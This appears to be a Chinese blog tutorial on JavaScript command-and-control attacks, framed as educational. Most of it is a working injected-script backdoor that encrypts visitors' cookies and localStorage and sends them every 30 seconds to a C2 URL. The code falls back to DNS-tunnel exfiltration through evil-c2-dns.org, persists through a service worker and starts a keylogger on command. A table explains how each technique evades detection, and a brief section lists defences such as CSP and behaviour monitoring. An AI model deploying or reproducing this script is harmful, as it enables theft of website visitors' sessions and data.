这次的内容全部都仅供学习参考使用,在相对不安全的环境中模拟。
脱离本地localhost使用那就感谢你给网警刷KPI了~
准备好就GOGOGO(邓超)
接下来我们来讲讲C2类通信(例如,信标,加密泄露)。重点关注行为分析和签名检测。
然后让我们用案例来讲讲可能的攻击模式
🔥攻击者视角——现代JavaScript命令与控制(C2)攻击
场景:攻击者在被入侵的网站中嵌入恶意JavaScript代码,以实现:
将受害者数据(如cookies、本地存储数据)发送至命令与控制(C2)服务器。
执行动态命令(如键盘记录、截图数据窃取)。
攻击代码(隐蔽的JavaScript C2后门):
(代码仅供参考)
// ===== attack ===== //
// 1. 加密模块(使用WebCrypto API模拟AES加密)
async function encrypt(data, key) {
const iv = crypto.getRandomValues(new Uint8Array(16)); // 生成16字节初始化向量
const encoded = new TextEncoder().encode(data);
// 导入密钥并进行AES-CBC模式加密配置
const cryptoKey = await crypto.subtle.importKey('raw', new TextEncoder().encode(key),
{ name: 'AES-CBC' }, false, ['encrypt']);
const encrypted = await crypto.subtle.encrypt({ name: 'AES-CBC', iv }, cryptoKey, encoded);
// 将二进制数据转换为逗号分隔字符串格式(便于网络传输)
return { iv: Array.from(iv).join(','), data: Array.from(new Uint8Array(encrypted)).join(',') };
}
// 2. C2通信模块(主用Fetch请求+DNS隧道备用方案)
async function callHome(c2Url, data) {
try {
// 主通信方式:向C2服务器发起Fetch请求(HTTPS协议)
const res = await fetch(c2Url, {
method: 'POST',
body: JSON.stringify(await encrypt(data, 's3cr3t_k3y')), // 加密后数据
headers: { 'Content-Type': 'text/plain' } // 伪装成普通文本传输
});
return await res.json();
} catch {
// 备用方案:DNS隧道(当fetch请求被拦截时)
// 将数据Base64编码并截取前60字符构造特殊子域名
const fallbackUrl = `http://${btoa(data).substr(0, 60)}.evil-c2-dns.org`;
new Image().src = fallbackUrl; // 通过图片标签触发DNS查询泄露数据
}
}
// 3. 持久化模块(潜伏在本地存储+服务线程)
if (!localStorage.getItem('malicious_loader')) {
localStorage.setItem('malicious_loader', 'true'); // 植入持久化标记
navigator.serviceWorker.register('/sw.js'); // 注册Service Worker实现页面重载后存活
}
// 4. 指令执行模块(攻击者远程控制)
setInterval(async () => {
// 定时发送包含cookie和本地存储的加密数据
const cmd = await callHome('https://legit-api.com/malicious-endpoint',
JSON.stringify({
cookies: document.cookie,
localStorage: JSON.stringify(localStorage)
}));
if (cmd?.order === 'keylog') startKeylogger(); // 动态执行键盘记录指令
}, 30000); // 每30秒发送信号
攻击者的技术与目的
让我们来列个表:
| 技术 | 目的 | 实际应用 |
|---|---|---|
| AES | 对从网络数据丢失防护(DLP)系统中窃取的数据进行隐藏 | 绕过基于特征码得到监测 |
| DNS隧道技术 | 若HTTPS被阻止时作为备用手段 | 通过DNS查询窃取数据 |
| 服务工作线程 | 维持持久性 | 在页面清除Cookie后仍然能存留 |
| 动态命令 | 远程控制(键盘记录、截图) | 在入侵后根据攻击者的目标进行调整 |
🔍 攻击者-防御者思维模式核心要点
攻击者手法:
滥用JS灵活性
动态执行:利用eval()、Function()等动态代码执行功能注入恶意负载 。
加密混淆:通过AES、RSA等算法加密恶意代码,规避基于特征码的检测。
DNS隧道:将数据编码为DNS查询,绕过HTTPS封锁,实现隐蔽通信。
防御者策略:
静态检查
黑名单拦截:过滤高危API(如eval)和已知恶意域名/IP 。
内容安全策略(CSP):限制脚本来源,但需注意配置漏洞(如域名泛化或base标签绕过)。
动态检查
熵值分析:检测加密/混淆代码的高随机性,但攻击者可能通过插入低熵模式(如Shannon编码)规避 。
行为监控:追踪异常操作(如大量DNS请求、进程注入) 。
全局可见性
日志审计:记录关键事件(如文件修改、特权操作) 。
SIEM(安全信息与事件管理):关联多源数据,识别隐蔽攻击链(如DNS隧道+加密通信的组合行为)。
感谢浏览和学习,作者:鱼油YOU,转载请注明原文链接:https://www.cnblogs.com/OmegaYOU3/p/18882641,或者可以➕主播WX:OmegaAnimeman_desu;QQ:3819054512
浙公网安备 33010602011771号